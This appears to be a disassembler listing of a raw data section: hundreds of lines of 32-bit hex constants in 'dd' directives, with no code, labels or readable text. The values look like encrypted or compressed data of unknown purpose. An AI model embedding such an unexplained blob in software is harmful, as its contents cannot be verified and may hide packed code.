		dd 4DA56DA6h, 0FC8EE918h, 6ECB02Ch, 0E8C0D8F6h,	84C0602h
		dd 3FC4166Bh, 0B56E9BA5h, 0AC97EC8Ah, 0B43E9197h, 1907E8C1h
		dd 0FCF5600h, 0A3BDB2E9h, 0C125F11Bh, 0E733619Fh, 0F2283778h
		dd 1BCBE07Ah, 35017405h, 153C0899h, 882FC309h, 7AB854DDh
		dd 5CF600E7h, 6E016824h, 0EB100BC2h, 81B4E6DDh,	8800ABBAh
		dd 0D22E68D8h, 466F3E64h, 0FE1A50C3h, 37E913C6h, 9C44A55Fh
		dd 0E8491FAAh, 0D4A45D18h, 49CE834h, 0D5885DB2h, 7A4F81ABh
		dd 28FD2AD8h, 1E1708D2h, 8545FF25h, 3F1B933Fh, 0F92739BEh
		dd 12942856h, 0F3C0EA83h, 7E546564h, 0F36E2915h, 0D83F02A5h
		dd 57097EA1h, 0FBFD01E2h, 458269D2h, 9FAA43E7h,	5AE6087Ch
		dd 4A40D527h, 0FE5FEAFDh, 869895B2h, 93030BCCh,	6CFA0D51h
		dd 8553A7D3h, 7F268A69h, 0B1A0428Fh, 354A5A25h,	0FFB7FB04h
		dd 84AE294Fh, 2FEAA9FBh, 26CDF2C2h, 27CE685Bh, 6FB40359h
		dd 6CD09309h, 0E55D2D1Fh, 0B67F10C4h, 0E3054082h, 0B7408246h
		dd 925A2CD8h, 682691B8h, 8D320BFh, 821EE956h, 0E58BB43Ah
		dd 5CCD9601h, 486D7648h, 24600841h, 0AD544041h,	0EA9FC1F8h
		dd 447F40BFh, 0C02D81FEh, 934B9EF9h, 0DAF74804h, 0E04DB5EAh
		dd 0A55D2CB6h, 0CEFC1085h, 77C65E25h, 0B57F5CA0h, 41027CB7h
		dd 60B0505Ah, 325BF119h, 1E84F2FDh, 0D5E3A98Ch,	51E84B67h
		dd 1E4282F4h, 0FC181C5Dh, 98249DEDh, 0E336C4E0h, 0CF010983h
		dd 636ADF55h, 6540F56Ah, 8B16641h, 0D9F1A2AFh, 408C89F1h
		dd 0B8FD294Eh, 47D30215h, 0CFE966A5h, 56921CF4h, 0BBB41AEDh
		dd 102DE5A3h, 0B85A6D00h, 0FC05F7F4h, 0BE565185h, 0C0DF58C2h
		dd 80AB9B86h, 2F12CB68h, 8CAC1C97h, 8EC0FED7h, 9AF842E9h
		dd 673D7771h, 0D35BEF50h, 674AC6F6h, 9EC553EBh,	0DFE90CEFh
		dd 9F5941E8h, 5A1A6CC4h, 0FD250105h, 18859948h,	412048Bh
		dd 8C6E6F68h, 70D6837Ch, 15558EFAh, 39ACF016h, 0CDFE4BC3h
		dd 90A26F37h, 0EBC1AAD3h, 0A18C69E5h, 15A4CF21h, 0F526899Dh
		dd 0E918333Eh, 683D833Ah, 0B52970DFh, 9E62C95Eh, 70737796h
		dd 52B7D425h, 6862E8DEh, 8392F1DCh, 0E580E6B5h,	6EDC0F8h
		dd 34208590h, 75E195E7h, 6890EB53h, 0C92F733Bh,	0B4F98057h
		dd 0BF3C4A1Eh, 0C173D858h, 89EB024Ah, 246C60B5h, 6DFD504h
		dd 10C2DA89h, 94540B49h, 0EA2DD880h, 0C0F9C46Dh, 664B0AFEh
		dd 0F60E817Fh, 14CD4E08h, 0A15217A0h, 0C750B0B2h, 1E679F13h
		dd 7D5AD109h, 473C3039h, 60CEA296h, 0DE25EDE5h,	0E842E143h
		dd 7FA83EFEh, 86E2E3A7h, 0D9B8404Eh, 0AA107B13h, 54041E62h
		dd 0ADCE3CBDh, 0C3EACE3Ah, 9070166h, 0F56440Ch,	0DB944E0Fh
		dd 0CA00841h, 4B26BA14h, 7F57AAB5h, 590B3DECh, 0E504CE29h
		dd 0A3B80EC4h, 0D2766E01h, 779E4A9Ch, 2525DD9h,	7C20A66Bh
		dd 0E6757298h, 0BF2090B4h, 9F9254D4h, 90FA7984h, 0F9702D0Dh
		dd 40B53D4Eh, 780673E1h, 0E70EA702h, 60FA89BBh,	9B1A14E6h
		dd 0D7EB0C7Ch, 3B0BF12Dh, 24270D92h, 121231A4h,	2530B167h
		dd 0E10B2E7Bh, 84917ECDh, 0AB311DB8h, 0E09EA16h, 0D189A3DBh
		dd 0B49C3CEDh, 137E0B2Eh, 5C4DAE3Dh, 0FC6FD0C5h, 92D85A4Ch
		dd 1EE482Eh, 0A99F0502h, 29CAD5E1h, 486F7980h, 504C3C32h
		dd 3FC520E6h, 929640BEh, 0F607B072h, 0BF5A4340h, 55412E54h
		dd 0FF2BFEF9h, 883D7D31h, 0C0559702h, 283BF5A0h, 0FE95B6B5h
		dd 8C934E6Fh, 7ABA6A1Bh, 0BDD35A5Ah, 9BEAE420h,	0D2310BBAh
		dd 0AF725151h, 16421CDCh, 541EA478h, 8404ACEBh,	45E8305Eh
		dd 614990C5h, 29C6F0D9h, 0FA5DCBD1h, 0B8DA2065h, 0F7090ED3h
		dd 2E835001h, 0EBBF5F54h, 0E8AD4704h, 0C4615BF0h, 0BE05DEC9h
		dd 0CAFE713Ch, 188B9C8Ah, 54685EE6h, 0DD91E295h, 264D071h
		dd 857B9CB1h, 0B4B8584h, 82513C22h, 828EC46Ch, 9739D3C1h
		dd 0B6C33163h, 0C0AEC0C2h, 232D054Eh, 0C24B5703h, 7810592h
		dd 34E4E95Ah, 0F8BA58D5h, 0D49AE0F2h, 8C9C6EF3h, 1A2E693Ch
		dd 0E860EDFh, 0EB3063F5h, 7D11FA59h, 14C67082h,	94EACE57h
		dd 2D615087h, 0BC6BBD81h, 0E84B7107h, 53EA75E4h, 0EC4BB637h
		dd 4F1A2226h, 0F29FB5Ah, 0C535D60Dh, 2AADEE2Ch,	2468248Ch
		dd 0C41E6303h, 89ECBB7Dh, 8577C7C5h, 0BFDDC0ACh, 0EC4B5F26h
		dd 0D31FDAECh, 0E0E1875h, 617FAAF7h, 0AE94209h,	9555200Ch
		dd 0A031EC4Ch, 0B55CB5B9h, 0A4877891h, 6C2350AEh, 207C6EAFh
		dd 0F7981A20h, 0A553C35Ah, 77F6060Bh, 0B2EBBC38h, 520C1F05h
		dd 5A93D301h, 0C129B87Fh, 0A8054BEEh, 462001D6h, 37E91726h
		dd 771E5DB9h, 0E5120940h, 56FC4270h, 56F6024Bh,	41003248h
		dd 4D2A5946h, 0FFB46CE9h, 35BB240h, 215A5A48h, 9CA45966h
		dd 8E5C3AA3h, 0EDCA28FFh, 6BB08D3h, 1481426Ch, 17F07218h
		dd 2FAEF862h, 0A77E8EEFh, 3D27FE2Dh, 1816BABFh,	2584EB09h
		dd 2D6161BBh, 7FB5DD82h, 88052A82h, 0BC3D8107h,	0E9388409h
		dd 6591EE4Ah, 0E770873Ch, 0D0E4499Ah, 0F335B812h, 61981061h
		dd 7F2EC95Bh, 2EADAAECh, 0E913C5DBh, 2AAAB1A0h,	8A125A8Fh
		dd 0BCF2F48Bh, 0A6562631h, 213A9BDEh, 6C1B3D04h, 8E05925Bh
		dd 6FB4D328h, 1E2139A2h, 84064A48h, 0C3AC125h, 7B237C0Bh
		dd 837A004Dh, 9062FD21h, 0CBB01F63h, 82DC6F63h,	0C0EAC10Bh
		dd 0B4A3451h, 6BE90E44h, 2916F8D0h, 18A5EF1h, 68505500h
		dd 65F21CA8h, 0DBED585Fh, 42761402h, 2020969h, 618D586h
		dd 4A1D552Dh, 0A73F4CC8h, 0BD298757h, 7B141B30h, 84649589h
		dd 3970EEB0h, 252FABCh,	0F11A8E8Fh, 30680E0Eh, 0CE330D46h
		dd 5304E713h, 5CCEA70Bh
		dd 0F2FC2D3Bh, 0D3586FC2h, 2DBD2626h, 38B17BF4h, 0CE2A91C9h
		dd 665007BCh, 0BB315355h, 0E0DE0E58h, 2A685BADh, 2DE8275Ch
		dd 1E5B81B2h, 1FB85097h, 404DDCC5h, 18B951F9h, 134E4A60h
		dd 0BB5850BDh, 0DBA3A074h, 29099F36h, 123F295Eh, 5E47FA65h
		dd 69621DD7h, 7F29635Dh, 0BD7E2E04h, 9C3B4172h,	6822CA8Eh
		dd 6EEC57A6h, 410A30Ch,	0B7B1F03Fh, 0F1757E89h,	9655CB9Ch
		dd 4434495Ah, 44036212h, 0BF5FF815h, 4E3D5EC7h,	79A8EC6Ah
		dd 0B7ED6633h, 0EA2E5B0Dh, 60449D28h, 58E5BDB2h, 5D7B1F63h
		dd 0EE26C32Fh, 1FE0961Ah, 7113CCB4h, 0E8EEE6B9h, 4D001B94h
		dd 0EDC1DDF7h, 0DBEDA002h, 337E256Dh, 0FC2777DCh, 582C58F8h
		dd 9AB6597h, 5405525Eh,	7D12AE35h, 3A1B3DEAh, 28AE0D94h
		dd 9390561Eh, 8826237Eh, 8B25B57Ch, 0DBE8D72Ah,	0C62DB68Ah
		dd 2534CEF2h, 0D376F901h, 97490958h, 576B0254h,	7315B22h
		dd 0F6A26E55h, 0D7B55FCCh, 80C62074h, 0F7E0EDEEh, 7E5A50B0h
		dd 0CEFBDA16h, 4E2E4C5Bh, 0F6FC46BBh, 0ED072FAAh, 39D53FB2h
		dd 9FF177B5h, 8F3A5F09h, 0E1F24E51h, 77E2FBD2h,	2C565C85h
		dd 6324E9B4h, 56F078Ah,	5EEB521Eh, 11006520h, 0F180E1D0h
		dd 0CE88BD0Eh, 0FEF6C459h, 0C2BA4C81h, 9EFFA92Eh, 0D55BEBCBh
		dd 5E4C8C64h, 0E6CE257Fh, 95EB1EF8h, 97C5628h, 1805B256h
		dd 77E00376h, 0AE00064Eh, 0CAB454EDh, 0B7D4E991h, 57515702h
		dd 0E958B3FCh, 20489FEDh, 15C535A9h, 0F3FB9760h, 0CAAB4E2Dh
		dd 0D575FA1h, 0D258DAFEh, 0C9F1A3BAh, 0F1080958h, 6ED50137h
		dd 694B5F98h, 2F7784B5h, 0DF895703h, 0D55F5999h, 1B730CDh
		dd 1308BD80h, 0D0B7704h, 0A4E99175h, 0CA301441h, 18CF815Fh
		dd 0C6D4D06h, 1071ADC7h, 15290491h, 0B1783AC0h,	0C6079F4Bh
		dd 0AC681702h, 8510C93Ch, 8D4E8406h, 0C53138FEh, 0E8ACD8E9h
		dd 0C2550525h, 5223541Dh, 8507A476h, 570917D2h,	5012DC73h
		dd 3CD60007h, 41B839C1h, 0E9DC47C1h, 12CBB6DFh,	6788A420h
		dd 3283E041h, 26A713A3h, 3F181DD9h, 4BBFD38Ch, 19DCEA2Fh
		dd 3A59BF9Ah, 0A1967F0Ah, 7E72C18Bh, 177CCAEFh,	83B856F0h
		dd 61901A6Fh, 0B4AC968h, 0B7B00FB9h, 0D70BF6FAh, 0D7866AE9h
		dd 7F31401Eh, 7D4A7DB6h, 83B92850h, 0B035F26Eh,	0D32D5357h
		dd 51DD5978h, 0FC445A7Bh, 0F9E45A26h, 285B5ADAh, 0D790E949h
		dd 0CFC32D2h, 2BAD3D4Fh, 802728BAh, 28E6C31Ch, 2EBACFAh
		dd 7FB03316h, 88631EB7h, 564552FAh, 7E7C01E6h, 6B033896h
		dd 0C131F804h, 0CDEDC2AEh, 3BB48570h, 3BAD08CBh, 0A0BAB24h
		dd 8E9B0D31h, 606842C8h, 0B2530C37h, 99F260Eh, 0FFE98948h
		dd 24758F2Bh, 0AE82FE78h, 0AB20FF05h, 5E090DD8h, 84561E3Ah
		dd 176E7C35h, 0C0F41DAEh, 0DFD6FA22h, 0E92AC689h, 0BD07F078h
		dd 51A173A6h, 0A9A8B9A2h, 0FCAEF5DAh, 16E13520h, 9695407Fh
		dd 0DF20343Fh, 808BBAE2h, 2D9B4410h, 281EED5Ch,	28E29F71h
		dd 0F9F7776Ah, 0F8E9E15Fh, 364E2B5Eh, 62E1008Fh, 0A05BD889h
		dd 90547DAFh, 9B297677h, 0B0DF892Dh, 5F769B75h,	22F7212Eh
		dd 92F5AAE7h, 5CF5B354h, 42928DFCh, 5DDE2927h, 0A4BDBF48h
		dd 43130473h, 97C0C531h, 5CF668CFh, 0EA40980Fh,	6548177Bh
		dd 0C14B8423h, 9E0568F7h, 0D89D5B58h, 0D71DF183h, 9EA2EB7Eh
		dd 4735001Ah, 31E49214h, 0F89F58C2h, 9F0E2049h,	8806FEBFh
		dd 5F128E75h, 386624BBh, 235DC8C0h, 5D914B38h, 5A03327Dh
		dd 295B8413h, 0CE2516FAh, 897113E1h, 52E438ABh,	27B7F09Fh
		dd 81A7C2E9h, 4C5C73F1h, 62BA0E00h, 214B871Ah, 0BFDAF8D3h
		dd 0D829F702h, 50E484h,	7C3BB4BBh, 6C1F544h, 0A893AD38h
		dd 0FEE71CF9h, 16A4F765h, 0CB0BAC3h, 0E756C429h, 31BD0171h
		dd 56F116BEh, 548F9D0h,	0E0E945EFh, 144DFB8Fh, 0A42FFBA9h
		dd 48640372h, 34FAEFB9h, 39DE018Eh, 201A1610h, 291D5AC2h
		dd 0EA8013D2h, 78EB1C3Eh, 1E9094Ah, 3277FEECh, 5BDA541Ah
		dd 0ED0610E3h, 3FC55F35h, 25867CC8h, 0D15846E8h, 0A832620h
		dd 0CF2944BAh, 0D9C0E88h, 78CAFF16h, 8CE56812h,	8F02BDFBh
		dd 316CDAC6h, 895D79E8h, 0C6577368h, 2F340A22h,	88930DDh
		dd 0D11606C2h, 65CEF800h, 501E0A42h, 0E89F8257h, 0BF190280h
		dd 0E67FA860h, 705F6FEAh, 55F60065h, 89EC401Eh,	1C945EF5h
		dd 65780E87h, 0F8110186h, 9D0CA444h, 5865A5D1h,	5024CB8Bh
		dd 841D022Ch, 0B6403507h, 42B559F6h, 0A351D500h, 0F4E4FF25h
		dd 69BC3BECh, 0B80B5F1Fh, 9E3A90A7h, 1F052432h,	43688B7Bh
		dd 0DA113075h, 132D99F6h, 0D8A00BC3h, 8C7E3C3h,	9F095612h
		dd 98DF64F5h, 36FB20A2h, 478F5818h, 82DD184Ah, 0BCEE4677h
		dd 797E62DFh, 7FE9A554h, 1FC79230h, 4B884216h, 84006B9h
		dd 2AD99F59h, 686DDEBh,	124F88BEh, 0E8DCB84h, 0FE5A3F28h
		dd 4AE96504h, 0FC5A59B8h, 2BF604B0h, 629519CEh,	0E9433CEAh
		dd 0AEDC2B28h, 622AB895h, 0EC35BEFAh, 7213FE8Eh, 890341D3h
		dd 95C1EDD1h, 4425C7ACh, 92FA756h, 1D4777A6h, 8A06E905h
		dd 2A01E120h, 8120010Fh, 0C105ECF3h, 6BA52027h,	171BF41Eh
		dd 18750743h, 0D47C0043h, 0E9375D67h, 78B486EFh, 6912F381h
		dd 766015FDh, 5C2C5603h, 5D35680Bh, 0A28D3BB0h,	0AFC765B7h
		dd 0F802B8DCh, 7458AB2Fh, 2D450714h, 0DE9B26Bh,	0C176ED58h
		dd 832F0B78h, 0E5229005h, 0F14910ECh, 5806306Fh, 17E275CDh
		dd 0BAEF2930h, 8E4B0CCDh, 160BA24Ah, 37FAB652h,	26F94F2h
		dd 0E628D268h, 69B7BEACh, 2370D50Bh, 0E650BC04h, 97C14536h
		dd 0DA2DE42Fh, 97D8FAD3h, 0EB1125E9h, 0FDE9B7FCh, 6257216h
		dd 0F0FA4477h, 34A54F5Eh, 6FC9FB5Eh, 9EEDB42h, 0E7C25ADEh
		dd 0B2DC2CB9h, 0E2C07E0Ch, 0BF5C3005h, 0AA2D7324h, 61EE84D5h
		dd 512596C8h, 33791FE9h, 7CF86082h, 920CC828h, 73E92F94h
		dd 5E54B940h, 31C2739Ch, 3FBA55DAh, 9FF9C6FDh, 0C4C38BC0h
		dd 0DC5B5580h, 38751050h, 0C940CE4Dh, 0F30BEFF5h, 76296870h
		dd 0C5D1137Eh, 4EB1042Eh, 52614F7h, 306711FAh, 4AB8AAF4h
		dd 3C4CB293h, 60D2A407h, 22F12992h, 0B44AE2Ah, 0F8BB283Ah
		dd 77F9C91Ch, 2A689801h, 0B7A67F32h, 0D7512Dh, 7A3AD270h
		dd 2011BE53h, 6B7CB007h, 475498DDh, 5A500FEAh, 0EBBE2FE9h
		dd 648EC468h, 0B9090800h, 8574AE21h, 0CC7FECE9h, 2C84920h
		dd 29EACCCBh, 0F82703CDh, 8A6C48D9h, 6871F105h,	644BF3Eh
		dd 7DAC0899h, 787C528Bh, 0EF6ED627h, 0A39DD965h, 6A9A9FB3h
		dd 6FC9020Bh, 29B3E0F1h, 549B0EEh, 7935CEC7h, 0DB2B8231h
		dd 2A80D509h, 0FEAEF580h, 8FA0C55Bh, 0A8085C0Ch, 74DA510h
		dd 0CC1143BAh, 1912443Fh, 6A4D40BAh, 1072F7Bh, 804C241h
		dd 0FDF934E4h, 58C32D8Fh, 801D6B44h, 0A36F51D6h, 74B45358h
		dd 2A063D04h, 0C300F309h, 0DE95C024h, 17447497h, 0BCC25685h
		dd 8D5828D5h, 0D76AD26h, 40985666h, 0DEB85B28h,	0FA76C772h
		dd 84455848h, 410903BDh, 75969200h, 0F726596Ch,	0C5815BDDh
		dd 0A8FC8401h, 0E026866Bh, 35B8F6BDh, 0CBB1EFDCh, 5EE9CAFCh
		dd 47A9B528h, 0C6293B21h, 0E8348075h, 39082505h, 4083B813h
		dd 0C0515C0Dh, 22C82DA3h, 5E95EE8Fh, 785F0B87h,	0DFDAD1DCh
		dd 0F5972444h, 822B2B2h, 0B542D2F7h, 5B2F4A76h,	3B0A69C2h
		dd 49ACA076h, 0B80FF49Dh, 436038B3h, 261F8E05h,	2D482200h
		dd 6ECE919Ch, 61234DE9h
		dd 5F28113h, 136C732h, 0D06D7D90h, 8BC04170h, 0B6BA04A1h
		dd 24F34FA8h, 915E08D3h, 0C8EDD820h, 59095BFEh,	86EED058h
		dd 9574E75Bh, 5A3C2C64h, 0DACECDD8h, 0A0B7F07h,	22EFAA00h
		dd 4805217Bh, 5D553A25h, 0F5E496C2h, 6DF7878Bh,	0E3531647h
		dd 13E9847Ch, 0BE4E49E8h, 840F8EC0h, 45645956h,	6F10E611h
		dd 653A0E34h, 0CCAB74E4h, 66F8E9C8h, 0B54BA592h, 0BE000A12h
		dd 28BD055Bh, 29260A96h, 26072DD0h, 0B2EE13AAh,	0A5407ECDh
		dd 64D86431h, 0C4C5A819h, 0AE134BC0h, 12D6E4F6h, 5269FBAFh
		dd 0C423BC3Bh, 5CF30FD1h, 14C7111Ch, 951CFB88h,	34AC686Ah
		dd 8297397Fh, 0B6E40559h, 0FB4A3EFAh, 303CC2F3h, 0F16FE755h
		dd 0FE40D27Bh, 0F0A1C6A4h, 0E9EA58F3h, 0C6505725h, 0FC65F198h
		dd 5862303Ah, 56B5E831h, 38777219h, 618F0D7h, 0DFE93D67h
		dd 0C276231Ch, 2D1A44E0h, 0BDAEA01h, 1F1BD608h,	92C4E5Ah
		dd 955007A9h, 50E90780h, 41921B5Ah, 938B7724h, 5A944EFFh
		dd 1E04AFC2h, 8DA01EE9h, 17F37729h, 31FEE15Ch, 806F20h
		dd 7F51D8F6h, 7BC9F0B1h, 2020EB63h, 0F9BD8895h,	5F211612h
		dd 141D44FBh, 67B6AA51h, 0ADFB587Ch, 1342088Bh,	5809F000h
		dd 81020F2Bh, 0CB54FDE3h, 0F5854014h, 1C740962h, 0D82DF31h
		dd 0BF002820h, 0B5C50B5Ah, 4383D83h, 587D43CAh,	0C6ED0685h
		dd 8876AF48h, 0A169D3E2h, 0CB28D4E3h, 49A9E8E8h, 91D65F82h
		dd 50C58739h, 0ED87F528h, 0EB655A57h, 80CFFCB2h, 6357668Bh
		dd 4E06AE35h, 3DCCAF18h, 0CE1B5C08h, 500AF288h,	0F807A666h
		dd 5963C888h, 0CEE9A0FEh, 229EBA21h, 44549ACh, 5CD835E4h
		dd 0E52E6D4Eh, 0F35008C7h, 51E2D003h, 2DA2F7B5h, 0CE6CC8DFh
		dd 0EB3A2CA4h, 4EA262Bh, 80DD715Ch, 3D08C96Fh, 0CB97A379h
		dd 76C89840h, 5767584Bh, 0A65B1B49h, 840D9444h,	5F00C017h
		dd 0C7966852h, 0A7DB1C2Eh, 5492902Ch, 71131F0Bh, 0C774AD6Eh
		dd 6CD5C042h, 685009A3h, 87985343h, 0B43878B3h,	29DC2E65h
		dd 0D758E986h, 7EDC9F36h, 5D467DCBh, 0F4380F25h, 0B23C65FDh
		dd 0A3E9C299h, 89455B8Ch, 0C5FFD2F6h, 0C08138FCh, 0F48005E4h
		dd 4CC4CCB8h, 0BE2302Ch, 0EA7EFE39h, 0BFE3CD7h,	37E4EB3Eh
		dd 53E8212Fh, 0A0542F1Dh, 2C4FE442h, 3EB05520h,	0A05A3340h
		dd 2E054CFBh, 5033151h,	0B643B7h, 1B0CEDE1h, 0E9197019h
		dd 5E316A25h, 0AB4415DDh, 371772ABh, 0BA5287A1h, 33342F02h
		dd 44AF7ACh, 17EFFC31h,	5851AFFDh, 69A31740h, 410F3B80h
		dd 940C0FFEh, 26E9F01Dh, 0B2EEE00Bh, 7C5E82F8h,	412972F4h
		dd 7902202Eh, 0ECA77716h, 7879C1FEh, 2B4F3526h,	4B07C5E8h
		dd 0E23CA251h, 9CD7D6D8h, 9F1EC5Dh, 6DA65837h, 0E5D44510h
		dd 98F98880h, 13144B13h, 1027ACA9h, 68099DA5h, 13596DD0h
		dd 5A796788h, 0E555DDCAh, 0C6E94128h, 7F277FF7h, 46CF24DFh
		dd 65D64AAAh, 315E0BD6h, 0FFAE2B7Fh, 8129D984h,	83984CF7h
		dd 0B24BF2Ch, 8480FDEFh, 2FDE255Eh, 0A540F75Bh,	8A783371h
		dd 6A80E4FDh, 0D0644528h, 0E07B5D64h, 574C06AEh, 0F5044268h
		dd 3F5C4167h, 830923B9h, 1B0001C5h, 4B3416E3h, 0C497F995h
		dd 0CB20FB51h, 96A2B05h, 2CE92F1Ah, 2E668F61h, 0E1254EBFh
		dd 83AD14D8h, 0FC207F28h, 17510720h, 0C786BE56h, 9405B58Eh
		dd 82338099h, 754C9E25h, 1EE02054h, 0CF5EC80h, 0EE27D45Dh
		dd 0E3F6880Fh, 0B61A6E11h, 0BCDC31B5h, 0A8DD97D2h, 0F21AB7AEh
		dd 61894237h, 0F34827Eh, 15A209BEh, 98D05F91h, 89D6F726h
		dd 0CD70E50Fh, 5D601052h, 4685D47Ch, 0C0D1F609h, 0C3A6888Fh
		dd 0EA018FF1h, 3198777Fh, 0C93EC201h, 601A9D4Ch, 0DD469189h
		dd 881BE78h, 6AD6E55Eh,	358CFD80h, 870513A1h, 0D299A1CFh
		dd 9300E58Fh, 0B5E9D9E7h, 8302A41h, 178CCFC4h, 0FBDB0C66h
		dd 21D3EA4Eh, 2714B61Bh, 8554C868h, 16702A88h, 0CA6B368Ah
		dd 0C1DA48D9h, 0F868DC40h, 7C24E952h, 304017B6h, 0FACFC4F1h
		dd 0E9E008FDh, 87A87516h, 201623F7h, 0B53453E6h, 0A7ACB1BBh
		dd 5812E90Ch, 0F716AC3Ah, 265930C6h, 0C493C422h, 965B49D9h
		dd 0D72FA2C0h, 0D1592F89h, 136BA46Dh, 8E73841Bh, 0E95309F7h
		dd 5F59ABADh, 0BD04A9C6h, 3F2E640Fh, 3D519F80h,	0E94D0927h
		dd 1ED708F6h, 4CFEFEEFh, 3080AA0Bh, 8165DD38h, 712DCA09h
		dd 412307D8h, 897A3238h, 215F5169h, 9D222AD7h, 0B19141FDh
		dd 60A95A03h, 0C82A2463h, 60072D51h, 0FF4E95E5h, 0CD18FFEh
		dd 0B11A1E9h, 0D8D24913h, 7D266809h, 0B1E9D46Bh, 0EB935497h
		dd 6BFC59F4h, 73532ED1h, 0F05193BEh, 0E8FD23ABh, 0C2AF294Eh
		dd 93E1A6A0h, 2C0696BFh, 11D81CBEh, 0ACE53B4Dh,	54A74D7Bh
		dd 0C0244200h, 4E908007h, 0F25BFD28h, 0C027FE5h, 85F5E9C5h
		dd 74C5C321h, 0A3FA3B13h, 0B904506Ch, 5899C5D8h, 0E87BE116h
		dd 0EF41B45Ah, 3A7F15CFh, 1A6CE82Fh, 7D13D3C5h,	0F9ECFB05h
		dd 0C4ED1EA5h, 34C04C94h, 81A2AC5h, 6DD2751Ch, 0A9B06737h
		dd 0CC02D667h, 0DED2FF59h, 5B33587Bh, 0B9EBFD14h, 0E724F5D2h
		dd 6BCEBC5Ch, 0FDF4C87Dh, 0C2469FEEh, 0BFA8EDF2h, 7B02B753h
		dd 0CF80D7F6h, 0A96FE113h, 50018B5Ch, 82D28DEFh, 0E4F5D370h
		dd 194E1168h, 167DCF8Ch, 0AF28234Ch, 8A06DF09h,	69085085h
		dd 0B06805F3h, 3FD1E21Ah, 0EFF01751h, 0AA2FFEE5h, 0ABD2341Eh
		dd 0ADB80840h, 987B2749h, 84F2BDA3h, 0FF9FDD55h, 473BE7Dh
		dd 0F8F545C1h, 49642373h, 625371CFh, 0E0C82F28h, 228DE740h
		dd 0D81F84DFh, 496BB3CFh, 0D525423Ah, 9AD51C89h, 0E049D57Eh
		dd 2FF97F59h, 0BC069D12h, 0B097CE54h, 38FF5627h, 0B7F2015Ah
		dd 0E90B4BDBh, 84B2D4C1h, 0FE312A68h, 6112DBE6h, 0B1B256D0h
		dd 0E17DF209h, 822A42C9h, 40510A6Ch, 88995C2Dh,	9EC3BF57h
		dd 6261DA0Dh, 88008A6h,	72685F05h, 82DB37BAh, 185D2185h
		dd 3011A0B9h, 0E963292Eh, 4C9CC773h, 13B3F763h,	166CBEF1h
		dd 6878E06Fh, 59E90DC4h, 49B9AE91h, 0B02637F8h,	2DDBB0D1h
		dd 75025Ah, 0E07D39F3h,	0EE314B74h, 6C4FCC62h, 0B9E90B65h
		dd 0CC5EFEDEh, 6733B740h, 0FE95B04Bh, 95A53A11h, 0B8AC52Fh
		dd 37584B59h, 3D305597h, 26C1BB79h, 0AECF8147h,	0B81C93F4h
		dd 7C390950h, 460112E7h, 60E46341h, 0A409C943h,	0DD3F693Dh
		dd 30E179AFh, 6177EA0Fh, 9A1082BBh, 0D5097D86h,	4804D1A9h
		dd 4CD6BCA4h, 0CB8B138h, 0FFE4E2C2h, 1C6B88C0h,	84134533h
		dd 0E046B25Ah, 9A522107h, 94009578h, 634757C7h,	0D7011D12h
		dd 0BD688CAEh, 1ECC184Ah, 0F84F7064h, 66E50481h, 0F8740162h
		dd 0E78410FAh, 7A41BF02h, 735D3340h, 551230h, 14452F26h
		dd 0FD52894Dh, 0D124790Fh, 0A009DDEDh, 0A5CFBBBh, 0A57328FBh
		dd 21E39702h, 0E097A3E6h, 4BA07DA1h, 5DE1E06Ah,	348C23Eh
		dd 0D1724CCDh, 8C18014Eh, 291C9B21h, 8F86FEAh, 0FEFA56B0h
		dd 35AEABDh, 311B696h, 0BE6068F0h, 1A044D6Ah, 0DB043B46h
		dd 0D5BAC785h, 127AB665h, 0B5F859CAh, 51A34E1h,	261C740Fh
		dd 0A00F48h, 0E13B5BEEh, 0A8BB53DDh, 211A6179h,	0F498D3F7h
		dd 2D5909BEh, 68C62255h, 3798FD46h, 9055CBFh, 0F8010E26h
		dd 3868AF61h, 190353Ah,	86593583h, 0E97C3016h, 2B945B98h
		dd 0BEA97449h, 0B3259016h, 63FE251Bh, 8454E9E1h, 75EDD45Dh
		dd 0AA8F316Fh, 0D78C2E1Ah, 0FF3B4E95h, 322D6F2Dh, 4055F869h
		dd 0D7DD0139h, 8B13BF1Fh
		dd 0D60BCC5Dh, 0CFB8E95Fh, 25DCBD00h, 1FD0504Ch, 91535DE8h
		dd 7EDAA5F1h, 82A4CF84h, 32EAF215h, 766E5C0Bh, 0E5D7279Bh
		dd 65F93F9Dh, 0FFB81EACh, 0F02E5EA1h, 6EB501E4h, 0FAC25FF4h
		dd 76E97D04h, 0FC4B98B8h, 8835005Fh, 117B2C8h, 4053B8C6h
		dd 7F952D6Fh, 0D08F1D0Fh, 0FEF4D782h, 191BB97Fh, 282EF53Dh
		dd 78640859h, 0A6587230h, 8BD44F7Ah, 4CB00555h,	83AE504Ah
		dd 579A01B8h, 5245FD80h, 0BF022E5Eh, 7E141EF5h,	0F06D6131h
		dd 5280D35h, 14CB5A78h,	0FCD2E5A3h, 0AC6EB926h,	33170EF8h
		dd 0C3817D45h, 6DFC5330h, 13BED47Bh, 5A062108h,	0FF5902D1h
		dd 108B7029h, 0EFB96680h, 795EFD63h, 93BC3584h,	89BAED4Ah
		dd 2079F209h, 5A91CCEEh, 8F693B0Bh, 1CF3A428h, 568CDEAh
		dd 0E238FCE3h, 72A75E1Eh, 68162150h, 9BF25CA4h,	8AD1EA96h
		dd 0A32FDFBAh, 27E5489Ch, 9A2B664Ch, 6AE002EAh,	0F5877742h
		dd 583A0EFEh, 0E3A81AE5h, 0EF205FC4h, 0EB86A47Fh, 0E0DF012Fh
		dd 262DE531h, 1A7D6102h, 50610DE1h, 63377E5Dh, 5AA5364h
		dd 0FA066F43h, 4FDB3280h, 0C83D4826h, 8F4502Dh,	0EC7EC359h
		dd 5C68F033h, 0A8F3B171h, 3F4F0055h, 40BB523Ch,	0B6505F0Eh
		dd 562858F1h, 7B2DBC2Ah, 0F0A27402h, 0DE9D515Ch, 8DBABFE5h
		dd 0F8293EE3h, 7B0EE1Fh, 0ABE469D7h, 5AF105C2h,	0AADDE9BCh
		dd 173FCC8Dh, 0FE3475C0h, 0C1EF6609h, 0C02B5345h, 0F3305BC3h
		dd 8DEDEE4h, 8AE9D682h,	39AD44B1h, 542740B8h, 0EA51C5D8h
		dd 74D12F08h, 65A50FE9h, 3D2F8840h, 3A177626h, 0E92D07A0h
		dd 742D8BE5h, 321018F8h, 98C4EF83h, 5BB81605h, 442CBA93h
		dd 0E9E1A15Ah, 3F07F0FAh, 0EE16FE31h, 816BE901h, 5EF3421Bh
		dd 0EE93E47Bh, 5D19D902h, 0F0AEE992h, 5E48CB8Fh, 0FC983BD0h
		dd 0D089D497h, 0CB654AE9h, 0DFE15B2Ah, 5A24F33Eh, 66CB3CADh
